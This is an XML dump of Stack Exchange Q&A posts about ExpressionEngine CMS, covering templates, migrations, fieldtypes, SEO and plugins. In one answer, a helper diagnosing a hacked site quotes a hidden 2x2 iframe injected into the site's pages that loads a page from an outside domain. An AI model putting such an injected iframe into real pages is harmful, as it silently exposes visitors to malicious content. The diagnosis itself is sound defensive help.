  <row Id="27269" PostTypeId="1" CreationDate="2014-12-30T17:05:52.990" Score="0" ViewCount="538" Body="&lt;p&gt;Can anyone point me to some resources on hardcoding Social Media Links for EE channel entries? Basically Facebook, Twitter, Pinterest, etc.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in a situation where it's not feasible for various reasons to use a plugin or module for this but not sure how best to approach it. &lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2015-01-04T16:40:40.790" Title="Roll Your Own Social Media links?" Tags="|social|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27270" PostTypeId="1" CreationDate="2014-12-30T17:39:12.970" Score="0" ViewCount="130" Body="&lt;p&gt;I navigate to&#xA;Tools | Data | SQL Manager&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select &quot;Database Query Form&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select table_name from information_schema.columns where column_name = 'flippityfloop'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I select &quot;Enable MySQL Error Output&quot; and hit [Submit]&#xA;The response contains the text &quot;The query you submitted did not produce any results.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go back to the &quot;Database Query Form&quot; and execute the same query with a valid column_name and I get no response. I get redirected to a root admin page with no route parameter in the QueryString.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I start inspecting Http Headers, can someone explain to me why this is happening? How do you get the following query to execute against the underlying database and display the results to the screen?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select table_name from information_schema.columns where column_name = 'title'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3904" LastActivityDate="2015-01-29T22:09:07.100" Title="ExpressionEngine 2.7.3 How do I directly execute a query against the database?" Tags="|mysql|query|admin.php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27271" PostTypeId="2" ParentId="27270" CreationDate="2014-12-30T21:06:59.657" Score="1" Body="&lt;p&gt;Enable the Profiler (Admin &gt; System Administration &gt; Output and Debugging) so you can see what the query actually being executed is. If you aren't getting results from the second query, I would suspect some server security module is likely interfering with the request, which would be revealed somewhat in the query log, as the query you ran either won't be there, or will have been modified. FWIW, the second query should work fine, and for a default install with no optional modules installed should return 14 tables (v2.9.2)&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-12-30T21:06:59.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27272" PostTypeId="2" ParentId="27265" CreationDate="2014-12-30T21:12:45.903" Score="1" Body="&lt;p&gt;Google's diagnostic page for that site &lt;a href=&quot;http://google.com/safebrowsing/diagnostic?tpl=safari&amp;amp;site=www.tsgw.org&amp;amp;hl=en-us&quot; rel=&quot;nofollow&quot;&gt;reveals some additional details&lt;/a&gt;. When I curl the page (not visiting it in my web browser to avoid any JavaScript or malicious client scripts from executing), I can see that there is an iframe injected  at the bottom of the page just before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://plansweightloss.com/hewd.html?i=1885560&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It appears to be on ALL of your member pages, so I would look in your member theme templates first.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-12-30T21:12:45.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27274" PostTypeId="2" ParentId="27269" CreationDate="2014-12-30T22:28:30.870" Score="0" Body="&lt;p&gt;I'm assuming you just want to add social icons that link to your clients' social pages? Or are you trying to add &quot;sharing&quot; capabilities? If that's the case then that's a whole different situation :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just trying to link to social pages then why not just use a &lt;code&gt;grid fieldtype&lt;/code&gt; or you could use a &lt;code&gt;matrix fieldtype&lt;/code&gt; too? Set it up with a column for an image (a file/asset fieldtype works great) for the image and a URL. Then code that out in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty easy to setup and I've never had to use a plugin or a module to do that. Of course it all depends on how your site is setup. &lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-12-30T22:28:30.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27275" PostTypeId="1" CreationDate="2014-12-30T23:14:13.227" Score="0" ViewCount="152" Body="&lt;p&gt;Duplicating/ Migrating an EE site (used EERelocate) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template files: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;updated template file locations&lt;/li&gt;&#xA;&lt;li&gt;everything is writable; e.g., 666/777&lt;/li&gt;&#xA;&lt;li&gt;followed all the migration walkthrough on ElisLab site - Won't let me&#xA;sync the template files (no options appear - just blank)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Channel Entries: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No idea what to do here...? Imported DB, don't see anything&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Channels/Channel Fields: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;None of my channels or fields are showing up&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've never had to migrate/duplicate an EE site before. I've followed everything I can... Totally stuck. &lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2017-08-10T12:11:46.070" Title="Issues migrating (no entries/channels/fields/template files)" Tags="|channel-entries|channel|migration|template-manager|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27276" PostTypeId="1" AcceptedAnswerId="27300" CreationDate="2014-12-31T03:19:32.940" Score="0" ViewCount="158" Body="&lt;p&gt;I've looked all over for this and can't seem to find anything for this. I've also found an unresolved similar question about this in stack exchange from many months ago that wasn't answered, so I thought I'd put this forward again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple date picker that will work as a Grid field that will output ONLY the date without the time? All I need is Month, Day, and Year in any order so I can use the search: option in the Grid loop without having to use the &quot;format&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a way to build a fieldtype to do this, but I'm not this advanced (yet) with PHP (still learning on Lynda).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would HIGHLY appreciate any help!&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2015-01-05T01:48:30.060" Title="A simple date fieldtype for Grid?" Tags="|grid|date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27278" PostTypeId="1" AcceptedAnswerId="27280" CreationDate="2014-12-31T17:36:08.030" Score="0" ViewCount="214" Body="&lt;p&gt;This should be a simple one. I just want o show the the date a channel entry is set to expire on a rendered page as well as when it was made. The Entry is straight forward enough but I can't seem to find a way to show the end date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{end_date format=&quot;%F %j, %Y&quot;}&#xA;{entry_date format=&quot;%F %j, %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-12-31T19:46:39.840" Title="show expire date on rendered page, template code" Tags="|templates|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27279" PostTypeId="2" ParentId="27276" CreationDate="2014-12-31T19:44:07.677" Score="0" Body="&lt;p&gt;As far as I know there is no Grid-compatible date fieldtype which stores the date in anything other than a UNIX timestamp (as the native Date fieldtype does). Your best bet is to convert the values you want to search for into GMT UNIX timestamps and then search your Grid with those.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-12-31T19:44:07.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27280" PostTypeId="2" ParentId="27278" CreationDate="2014-12-31T19:46:39.840" Score="0" Body="&lt;p&gt;You were close, but not quite.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{expiration_date format=&quot;%F %j, %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#expiration-date&quot; rel=&quot;nofollow&quot;&gt;Docs.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-12-31T19:46:39.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27281" PostTypeId="2" ParentId="27183" CreationDate="2015-01-02T09:56:58.187" Score="3" Body="&lt;p&gt;If you're having trouble with tags not working correctly in conditional statements try wrapping the them in double or single quotation marks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{mymatrix:total_rows}&quot; &amp;gt; 0}{!-- Here --}&#xA;  {mymatrix}&#xA;    data here&#xA;  {/mymatrix}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-01-02T09:56:58.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27282" PostTypeId="2" ParentId="27275" CreationDate="2015-01-02T14:06:50.317" Score="0" Body="&lt;p&gt;Read this tutorial, may it will help: &lt;a href=&quot;http://www.creat-ee.com/tutorials/more/migrating_your_ee_site_to_live_server&quot; rel=&quot;nofollow&quot;&gt;http://www.creat-ee.com/tutorials/more/migrating_your_ee_site_to_live_server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2015-01-02T14:06:50.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27283" PostTypeId="1" AcceptedAnswerId="27287" CreationDate="2015-01-02T14:48:02.827" Score="0" ViewCount="62" Body="&lt;p&gt;I want to include certain field values in my URL's first segment. Since the first segment is the template file's name, I'm not sure how to do this. For example, say I have a template &lt;code&gt;products&lt;/code&gt;. If the template is showing a &quot;new&quot; product, I'd like like the first segment to be &lt;code&gt;new-products&lt;/code&gt;. And if the product is &quot;old&quot;, then &lt;code&gt;old-products&lt;/code&gt;. Assume there is no different in the output of the new and old products; I just wan the URL to be different. I don't want to do something like this &lt;code&gt;products/new/&lt;/code&gt; because I &quot;think&quot; (I don't know for a fact) that is not as effective in SEO terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make segment one dynamic?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-01-03T08:34:41.673" Title="SEO in URLs - dynamic template names?" Tags="|templates|url|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27284" PostTypeId="1" CreationDate="2015-01-02T17:43:07.337" Score="0" ViewCount="228" Body="&lt;p&gt;We have some basic to complex formatting in our Word docs that conform to a corporate style guide, but am having problems getting that styling to copy over in the &quot;Paste from Word&quot; function. I got headings to convert using Word Styles to format them, but italics, lists, and text colors don't get copied over. Even using other Word Styles don't convert in the copy process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get these basic Word formatting and styles to copy over to my WYGWAM module? We have writers creating content to a specific style guide and then editors copying that content to the website are then having to manually re-apply those styles.&lt;/p&gt;&#xA;" OwnerUserId="3908" LastActivityDate="2015-01-03T08:49:43.977" Title="WYGWAM Paste From Word Formatting" Tags="|wygwam|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27285" PostTypeId="1" CreationDate="2015-01-02T19:12:32.130" Score="1" ViewCount="92" Body="&lt;p&gt;I need to use the datepicker for a Channel Form and I've included the following as per the docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't work...it gives me a 404 Not Found message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Failed to load resource: the server responded with a status of 404 (Not Found)&quot;&#xA;and tries to link to &lt;a href=&quot;http://www.mydevserver.com/css/_ee_channel_form_css&quot; rel=&quot;nofollow&quot;&gt;http://www.mydevserver.com/css/_ee_channel_form_css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out and point me in the right direction please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Dan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. running latest version of EE&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-01-02T19:12:32.130" Title="Channel Form Asset CSS not working" Tags="|safecracker|css|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27286" PostTypeId="1" CreationDate="2015-01-02T21:00:54.470" Score="0" ViewCount="172" Body="&lt;p&gt;Im working on a simple plugin that just needs to get the current logged users screen name, email address and username into some javascript and inject that js on every page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hope is to juse the exiwting CP CSS &amp;amp; JS plugin and past the javascript..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the EE global variable in the javascript and it looks like EE.username is the current logged in users name.  Is there similar way to get email and/or screen name?&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2017-02-14T23:17:26.067" Title="Getting control panel user data in javascript" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27287" PostTypeId="2" ParentId="27283" CreationDate="2015-01-03T08:34:41.673" Score="3" Body="&lt;p&gt;Your default template group index can catch these URLs and embed the relevant template you want to display to list products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd be cautious on the amount of effort it will involve for little benefit and more complexity elsewhere - not to mention the usability from visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shallow/flat &quot;directory&quot; structure is good (source: numerous web articles and numerous SEO agency advice), but shouldn't be to the sacrifice of logical structure and usability. But compare that with loading keywords into the URL, which is more beneficial for SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also balance that the parent gains more weight from it's child pages - so &quot;products&quot; SEO value is diluted by having alternatives like &quot;new-products&quot;, whereas &quot;/products/new&quot; maintains that value and is logical from build perspective and visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEO Investment would be far better placed in unique content text for the listing landing pages and what SEO agencies call &quot;hub&quot; pages. Don't forget to remove any unique content for paginated pages - better still ensure that the paginated links are no-follow and no-index. So based on this, remember that your products shouldn't be indexed on the listing page - as that's not what you want the Google index to point at, but the product page itself, so a short URL for the listing is irrelevant (in SEO terms) for the product itself, just the landing/hub page (the same as any other content page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all ecommerce builds I've worked on, they've all been heavily category based for listings, so &quot;new&quot; is just another category and translates/identifies (seg2cat) to the correct channel:entries output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, think about the duplicate development code (although you can use embeds to create a single source) and how difficult that would be to maintain, track changes and for others/client to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good answers and article links:&#xA;&lt;a href=&quot;https://webmasters.stackexchange.com/questions/60280/does-amount-of-url-parameters-affect-seo&quot;&gt;https://webmasters.stackexchange.com/questions/60280/does-amount-of-url-parameters-affect-seo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:33:26.030" LastActivityDate="2015-01-03T08:34:41.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27288" PostTypeId="2" ParentId="27284" CreationDate="2015-01-03T08:49:43.977" Score="1" Body="&lt;p&gt;Alas Word places lots of junk into anything it copies out, so you're on to a loser to begin with. It will paste random sizes and spans that don't exist and then you have uncontrollable colours and sizes all over that can no longer be controlled by a single/master CSS file, as they're all in-line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you can try your best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up custom styles in Wygwam:&#xA;&lt;a href=&quot;https://docs.pixelandtonic.com/wygwam/using/style_set.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.pixelandtonic.com/wygwam/using/style_set.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set both the CSS and JS (for the dropdown options).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ArsOv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the &quot;Restrict allowed HTML&quot; and &quot;extraAllowedContent&quot; options - you may need to play with these, but these may only kick-in when pasting normally, not pasting from Word. Wygwam is based on CKEditor, so you may need to tweak these files to do anything serious like add an additional &lt;a href=&quot;http://ckeditor.com/addon/pastefromword&quot; rel=&quot;nofollow noreferrer&quot;&gt;plug-in&lt;/a&gt; - see &lt;a href=&quot;https://docs.pixelandtonic.com/wygwam/developers/ckeditor_plugins.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for extending Wygwam with CKEditor plugins.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-01-03T08:49:43.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27289" PostTypeId="2" ParentId="27286" CreationDate="2015-01-03T13:22:08.183" Score="1" Body="&lt;p&gt;The EE global only has username and shouldn't be relied upon as it's not a formal documented method to get information (and so could change or be manipulated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're already writing a module/extension (a &quot;plugin&quot; is frontend only), then output your JavaScript from there instead of relying on the &quot;CP CSS &amp;amp; JS&quot; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access all the user information via the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html&quot; rel=&quot;nofollow&quot;&gt;session class&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata['screen_name'];&#xA;ee()-&amp;gt;session-&amp;gt;userdata['email'];&#xA;ee()-&amp;gt;session-&amp;gt;userdata['username'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add your own external JS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;add_js_script('file', 'insert filename here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Docs on the CP class can be found &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/cp.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Full Developer documentation &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider using an &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/javascript/index.html&quot; rel=&quot;nofollow&quot;&gt;Extension hook&lt;/a&gt; to inject your javascript - this would probably be the easiest route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: These classes are automatically available from within your module/extension and don't have to be loaded.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-01-03T13:22:08.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27294" PostTypeId="2" ParentId="27269" CreationDate="2015-01-04T16:40:40.790" Score="1" Body="&lt;p&gt;This can be done using standard template code. All the various social media services have documented APIs for their javascript sharing widgets, and mostly you just need to use their default code. If you want to get more specific, you can hard-code URLs, text, etc, using EE tags within those widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dev.twitter.com/web/tweet-button&quot; rel=&quot;nofollow&quot;&gt;Twitter Tweet Button&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developers.facebook.com/docs/plugins/like-button&quot; rel=&quot;nofollow&quot;&gt;Facebook Like Button&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So as a quick example, within a Channel Entries loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;(function(d, s, id) {&#xA;      var js, fjs = d.getElementsByTagName(s)[0];&#xA;      if (d.getElementById(id)) return;&#xA;      js = d.createElement(s); js.id = id;&#xA;      js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;amp;appId=XXXXXXX&amp;amp;version=v2.0&quot;;&#xA;      fjs.parentNode.insertBefore(js, fjs);&#xA;    }(document, 'script', 'facebook-jssdk'));&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&quot;://platform.twitter.com/widgets.js&quot;;fjs.parentNode.insertBefore(js,fjs);}}(document,&quot;script&quot;,&quot;twitter-wjs&quot;);&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;share&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;fb-like&quot; data-layout=&quot;button_count&quot; data-action=&quot;like&quot; data-url=&quot;{title_permalink=&quot;news/entry&quot;}&quot; data-show-faces=&quot;false&quot; data-share=&quot;true&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;a class=&quot;twitter-share-button&quot; href=&quot;https://twitter.com/share&quot; data-url=&quot;{title_permalink=&quot;news/entry&quot;}&quot; data-via=&quot;mytwitterusername&quot; data-text=&quot;{title}: &quot;&amp;gt;Tweet&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You maybe want to include the javascript in your global header or footer of course, and Facebook also requires you have an &lt;code&gt;fb-root&lt;/code&gt; element on your page, but you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also look at setting proper &lt;a href=&quot;https://developers.facebook.com/docs/sharing/best-practices#tags&quot; rel=&quot;nofollow&quot;&gt;Open Graph tags&lt;/a&gt;, and activating &lt;a href=&quot;https://dev.twitter.com/cards/overview&quot; rel=&quot;nofollow&quot;&gt;Twitter Cards&lt;/a&gt; as well, to greatly enhance how your URLs appear when shared.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-04T16:40:40.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27295" PostTypeId="2" ParentId="27230" CreationDate="2015-01-04T16:47:43.743" Score="1" Body="&lt;p&gt;After some research and digging into the actual Cache_redis.php file, I've found that there is currently not a way to specify a DB index without modifying the ExpressionEngine Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to handle multiple dev/staging servers would be to utilize a something like the &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Labs Master Config&lt;/a&gt; and configure separate Redis servers for each install.&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2015-01-04T16:47:43.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27296" PostTypeId="1" CreationDate="2015-01-04T16:50:21.563" Score="0" ViewCount="26" Body="&lt;p&gt;I'm using playa in one of my channel fields and I tried to publish entries in Arabic, but the Arabic entry doesn't render at all on the home page. Do I need to add something to this code in order to enable the Arabic language? I checked the documentation, and unfortunately  it doesn't mention anything about the use of other languages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;span class=&quot;venue&quot;&amp;gt;{venue:ul}&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2015-02-20T19:12:07.980" Title="Does playa support other languages? (Arabic)" Tags="|playa|entries|ee|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27297" PostTypeId="1" AcceptedAnswerId="27305" CreationDate="2015-01-04T22:33:21.227" Score="0" ViewCount="69" Body="&lt;p&gt;I am trying to display information in CartThrob's &quot;orders&quot; channel, but cannot seem to do so. I am able access other channels' information as expected with EE's channel:entries tag pair (including other CartThrob channels), but as soon as I enter &quot;orders&quot; as the desired channel, everything disappears. I'm not employing any crazy conditionals or anything. It's pretty straight-forward:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot;}&#xA;&amp;lt;table width=&quot;80%&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            #&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            Buyer&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            Deliver To&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            Gift Message&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            Options&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            {title}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            {buyers_name}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            {recipients_name}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            {gift_message}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            &amp;lt;button&amp;gt;Print&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me understand why this is happening and how I can output this channel's information? I assume I'm missing some sort of setting somewhere, but a search through CartThrob's documentation hasn't unveiled anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="3795" LastEditDate="2015-01-04T22:45:09.857" LastActivityDate="2015-01-05T18:07:34.983" Title="CartThrob: Cannot access information in {exp:channel:entries channel=&quot;orders&quot;} tag?" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27298" PostTypeId="2" ParentId="25154" CreationDate="2015-01-04T23:18:34.793" Score="1" Body="&lt;p&gt;I ran into the same problem. I created an account with USPS.com and assumed that that was the username I should be using in the USPS Plugin for Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out USPS has a separate registration for API access. You can find that here: &lt;a href=&quot;https://www.usps.com/business/web-tools-apis/welcome.htm&quot; rel=&quot;nofollow&quot;&gt;https://www.usps.com/business/web-tools-apis/welcome.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They'll send you an email with a generated username that you can use for API access. Once you change the username in the USPS Plugin settings to the username they generate for you the error should go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some new errors, regarding the (package) container, but after I tweaked some settings in the extension it seems to be working fine.&lt;/p&gt;&#xA;" OwnerUserId="3913" LastActivityDate="2015-01-04T23:18:34.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27299" PostTypeId="1" CreationDate="2015-01-04T23:34:47.563" Score="0" ViewCount="91" Body="&lt;p&gt;I have 2 channels, one called artists and another called gallery.&#xA;In the artists channel there is a checkbox to say if the artist has given permission for their work to be shown.&#xA;In the gallery channel I have the artwork related to an artist entry from the artist channel using  the native EE relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to output all the gallery entries where the related artists has the channel field 'artist_copyright' set to 'Yes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see how I can do this using Channel Entries, is this possible using the Query module, if so what is the query I should use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to output a Channel Images field along with other custom fields&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-04T23:34:47.563" Title="Show entries where relationship field equals Yes with the Query" Tags="|relationships|query|channel-images|sql|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
